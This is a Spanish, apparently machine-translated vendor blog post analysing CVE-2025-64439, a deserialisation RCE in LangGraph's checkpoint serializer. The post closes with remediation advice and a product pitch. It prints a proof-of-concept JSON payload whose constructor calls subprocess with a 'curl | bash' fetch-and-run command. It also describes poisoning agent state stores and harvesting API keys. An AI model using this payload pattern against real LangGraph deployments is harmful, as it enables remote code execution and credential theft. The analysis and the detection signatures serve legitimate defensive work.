Cabecera Penligente

Envenenamiento de la memoria: Análisis forense de CVE-2025-64439 (LangGraph RCE) y la fragilidad del estado agéntico

Una autopsia técnica de CVE-2025-64439 (CVSS 9.8), un RCE crítico en el serializador de puntos de control de LangGraph. Analizamos el fallo lógico de deserialización de JSON, la cadena de envenenamiento de la memoria del agente de IA y las estrategias de defensa basadas en IA.

En la evolución arquitectónica de 2026, Inteligencia Artificial ha pasado de los cuadernos Jupyter experimentales a una infraestructura empresarial de misión crítica. Frameworks como LangGraph se han convertido en la espina dorsal de estos sistemas, permitiendo a los desarrolladores crear aplicaciones con múltiples actores que pueden pausar, reanudar y repetir tareas complejas.

Sin embargo, la divulgación de CVE-2025-64439 (Puntuación CVSS 9.8Critical) expone una vulnerabilidad catastrófica en el mecanismo mismo que hace que estos agentes sean "inteligentes": su memoria a largo plazo.

No se trata de una vulnerabilidad web típica. Se trata de una opción nuclear en la cadena de suministro dirigido a la capa de persistencia de la IA. El fallo reside en el langgraph-checkpoint biblioteca, concretamente en la forma en que la JsonPlusSerializer gestiona la recuperación de datos. Al explotar esto, los atacantes pueden inyectar cargas JSON maliciosas en el almacenamiento de estado de un Agente (por ejemplo, SQLite, Postgres), disparando Ejecución remota de código (RCE) el momento en que el sistema intenta "recordar" un estado anterior para reanudar un flujo de trabajo.

Para el ingeniero de seguridad de IA, la implicación es clara: El "Estado" es la nueva "Entrada". Si un atacante puede influir en el historial serializado de un agente, puede ejecutar código arbitrario en el servidor de inferencia. Este artículo disecciona el código fuente para revelar la mecánica de esta cadena de ejecución de "envenenamiento de memoria".

Tarjeta de información sobre vulnerabilidades

MétricaInteligencia Detalle
Identificador CVECVE-2025-64439
Componente objetivolanggraph-checkpoint (Biblioteca Central) & langgraph-checkpoint-sqlite
Versiones afectadaslanggraph-checkpoint < 3.0.0; langgraph-checkpoint-sqlite <= 2.1.2
Clase de vulnerabilidadDeserialización insegura (CWE-502) que conduce a RCE
Puntuación CVSS v3.19,8 (Crítico) (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Vector de ataqueEnvenenamiento de la base de datos de puntos de control, intermediario en la transferencia de estado

Inmersión técnica: En JsonPlusSerializer Trampa

Para entender CVE-2025-64439, uno debe entender cómo LangGraph maneja la persistencia. A diferencia de una llamada LLM sin estado, un Agente necesita guardar su pila -valores variables, historial de conversación y pasos de ejecución- para poder reanudarla más tarde. Esto es manejado por Checkpointers.

LangGraph intenta utilizar msgpack por eficiencia. Sin embargo, dado que los objetos Python en los flujos de trabajo de IA suelen ser complejos (clases personalizadas, modelos Pydantic), implementa un sólido mecanismo de reserva: Modo JSONgestionado por JsonPlusSerializer.

Envenenamiento de la memoria: Análisis forense de CVE-2025-64439 (LangGraph RCE) y la fragilidad del estado agéntico

1. La lógica fatal del "constructor

La vulnerabilidad no está en el uso de JSON, sino en cómo LangGraph extiende JSON para soportar tipos Python complejos. Para reconstruir un objeto Python a partir de JSON, el serializador busca un esquema específico que contenga "claves mágicas":

  • lc: El identificador de la versión de LangChain/LangGraph (por ejemplo, 2).
  • tipo: El tipo de objeto (concretamente la cadena "constructor").
  • id: Una lista que representa la ruta del módulo a la clase o función.
  • kwargs: Argumentos a pasar a ese constructor.

El defecto: En las versiones afectadas, el deserializador confía en el archivo id implícitamente. No valida si el módulo especificado es un componente "seguro" de LangGraph o una biblioteca peligrosa del sistema. Importa dinámicamente el módulo y ejecuta el constructor con los argumentos proporcionados.

2. Reconstrucción forense de códigos

Según el análisis del parche, la lógica vulnerable en langgraph/checkpoint/serde/jsonplus.py se asemeja al siguiente patrón:

Python

`# Lógica Vulnerable Simplificada def _load_constructor(value): # DANGEROUS: No allow-list check on 'id' # 'id' comes directly from the JSON payload module_path = value["id"][:-1] class_name = value["id"][-1]

# Importación dinámica de CUALQUIER módulo
module = importlib.import_module(".".join(module_path))
cls = getattr(módulo, nombre_clase)

# Ejecución del constructor
return cls(**valor["kwargs"])`

Esta lógica convierte el deserializador en un ejecutor genérico "Gadget Chain", similar al infame Java ObjectInputStream pero más fáciles de explotar porque la carga útil es JSON legible por humanos.

La cadena de la muerte: Envenenamiento de la memoria

¿Cómo consigue un atacante introducir este JSON en el sistema? La superficie de ataque es más amplia de lo que parece.

Fase 1: Inyección (el veneno)

El atacante necesita escribir en la base de datos donde se almacenan los puntos de control.

  • Escenario A (Entrada directa): Si el Agente acepta entradas de usuario que se almacenan sin procesar en el estado (por ejemplo, "Resumir este texto: [MALICIOUS_JSON]"), y la lógica de serialización de la aplicación es defectuosa, la carga útil puede escribirse en la BD.
  • Escenario B (SQL Injection Pivot): Un atacante utiliza una inyección SQL de menor gravedad (como CVE-2025-8709) para modificar el archivo puntos de control en SQLite/Postgres directamente, insertando la carga útil RCE en la tabla hilo_ts o mancha de estado.

Fase 2: Arma (la carga útil)

El atacante construye una carga JSON que imita un objeto LangGraph válido pero que apunta a subproceso.

Concepto de carga útil PoC:

JSON

{ "lc": 2, "type": "constructor", "id": ["subprocess", "check_output"], "kwargs": {"args": ["/bin/bash", "-c", "curl | bash"], "shell": false, "text": true } }

Fase 3: Detonación (La reanudación)

El código no se ejecuta inmediatamente después de la inyección. Se ejecuta cuando el Agente lee el Estado.

  1. El Usuario (o Atacante) provoca que el Agente reanude un hilo (por ejemplo, "Continuar tarea anterior").
  2. LangGraph busca en la base de datos el último punto de control.
  3. En JsonPlusSerializer analiza el blob.
  4. Se encuentra con el constructor tipo.
  5. Importa subproceso y corre check_output.
  6. RCE Conseguido.

Análisis de impacto: El atraco al cerebro de la IA

Comprometer el servidor que ejecuta LangGraph es significativamente más peligroso que comprometer un servidor web estándar debido a la naturaleza de las cargas de trabajo de IA.

  1. Recolección de credenciales: Los Agentes AI dependen de variables de entorno para las claves API (OPENAI_API_KEY, ANTHROPIC_API_KEY, AWS_ACCESS_KEY). El RCE permite el acceso inmediato a entorno.os.
  2. Vector DB Exfiltration: Los agentes suelen tener acceso de lectura/escritura a Pinecone, Milvus o Weaviate. Un atacante puede volcar bases de conocimiento propietarias (datos RAG).
  3. Infección del peso del modelo: Si el servidor aloja modelos locales (por ejemplo, utilizando Ollama), los atacantes pueden envenenar las ponderaciones del modelo o modificar el canal de inferencia.
  4. Movimiento lateral: Los agentes LangGraph están diseñados para hacer cosas-llamar a APIs, consultar bases de datos, enviar correos electrónicos. El atacante hereda todos los permisos y herramientas asignados al Agente.

Defensa basada en IA: La ventaja de la negligencia

Detectar CVE-2025-64439 es una pesadilla para las herramientas DAST (Dynamic Application Security Testing) heredadas.

  • Ceguera de protocolo: Los escáneres buscan formularios HTML y parámetros URL. No entienden los protocolos internos de serialización binaria o JSON utilizados por los frameworks de IA de Python.
  • Ceguera de Estado: La vulnerabilidad se activa en leerno escriba a. Un escáner podría inyectar una carga útil y no ver ningún error inmediato, falsos negativos en el resultado.

Aquí es donde Penligent.ai representa un cambio de paradigma para la seguridad de las aplicaciones de IA. Penligent utiliza Análisis profundo de dependencias y fuzzing lógico:

  1. Huellas dactilares de la IA

Los agentes de Penligent van más allá de la congelación de pip. Escanean contenedores de desarrollo y producción para identificar las versiones hash exactas de langgraph, langchain-core y langgraph-checkpoint. Reconoce la cadena de dependencia vulnerable incluso si está anidada en lo más profundo de una imagen Docker, marcando la presencia de JsonPlusSerializer sin listas de permisos.

  1. Fuzzing de protocolos de serialización

Penligent entiende el "Lenguaje de los Agentes". Puede generar cargas útiles de sondeo específicas que contengan marcadores de serialización (como lc=2 y llamadas benignas a constructores).

  • Sonda no destructiva: En lugar de una shell inversa, Penligent inyecta una carga útil que desencadena una búsqueda DNS benigna (por ejemplo, utilizando socket.gethostbyname).
  • Validación: Si el receptor OOB de Penligent recibe la consulta DNS cuando se carga el estado del Agente, la vulnerabilidad se confirma con 100% de certeza.
  1. Auditoría de tiendas estatales

Penligent se conecta a la capa de persistencia (SQLite/Postgres) utilizada por sus agentes de IA. Analiza los blobs almacenados en busca de "Dormant Payloads" (estructuras JSON maliciosas a la espera de ser deserializadas), lo que le permite desinfectar su base de datos antes de que se produzca un incidente.

Envenenamiento de la memoria: Análisis forense de CVE-2025-64439 (LangGraph RCE) y la fragilidad del estado agéntico

Manual de reparación y refuerzo

Si está construyendo con LangGraph, se requiere una reparación inmediata.

1. Actualizar dependencias (la solución)

Actualizar langgraph-checkpoint a la versión 3.0.0 o superior inmediatamente.

  • Mecanismo: La nueva versión suprime la compatibilidad por defecto con la función constructor en la serialización JSON o impone una lista de permisos estricta y vacía por defecto. Obliga a los desarrolladores a registrar explícitamente clases seguras para la serialización.

2. Limpieza forense de bases de datos

Si sospecha que su sistema ha quedado expuesto, no puede limitarse a parchear el código; debe limpiar los datos.

  • Acción: Guión de una herramienta para iterar a través de su puntos de control tabla. Analiza cada blob JSON.
  • Firma: Busque {"type": "constructor", "id": ["subproceso", ...]} o cualquier id señalando os, syso shutil.
  • Purga: Eliminar cualquier hilo/checkpoint que contenga estas firmas.

3. Aislamiento de red y tiempo de ejecución

  • Filtrado de salida: Los Agentes AI no deben tener acceso ilimitado a Internet. Bloquee las conexiones salientes a IP desconocidas para evitar los shells inversos.
  • Aislamiento de bases de datos: Asegúrese de que el archivo SQLite o la instancia Postgres que almacena los puntos de control no es accesible a través de interfaces públicas.
  • Menor privilegio: Ejecute el servicio Agente con un usuario que no tenga acceso al shell (/bin/false) y funciones IAM de ámbito estricto.

Conclusión

CVE-2025-64439 sirve de llamada de atención a la industria de la IA. Estamos construyendo sistemas cada vez más autónomos y con más estados, pero los estamos construyendo sobre frágiles cimientos de confianza. La memoria de un agente es una superficie mutable y armable.

A medida que avanzamos hacia los sistemas adyacentes a la AGI, la ingeniería de seguridad debe evolucionar. Debemos tratar el "Estado" con el mismo recelo que tratamos la "Entrada de usuario". Validar la lógica de serialización, auditar las dependencias y emplear herramientas de seguridad nativas de la IA como Penligent ya no son opcionales: son los requisitos previos para sobrevivir en la era de la IA agenética.

Referencias fiables

Comparte el post:
Entradas relacionadas
es_ESSpanish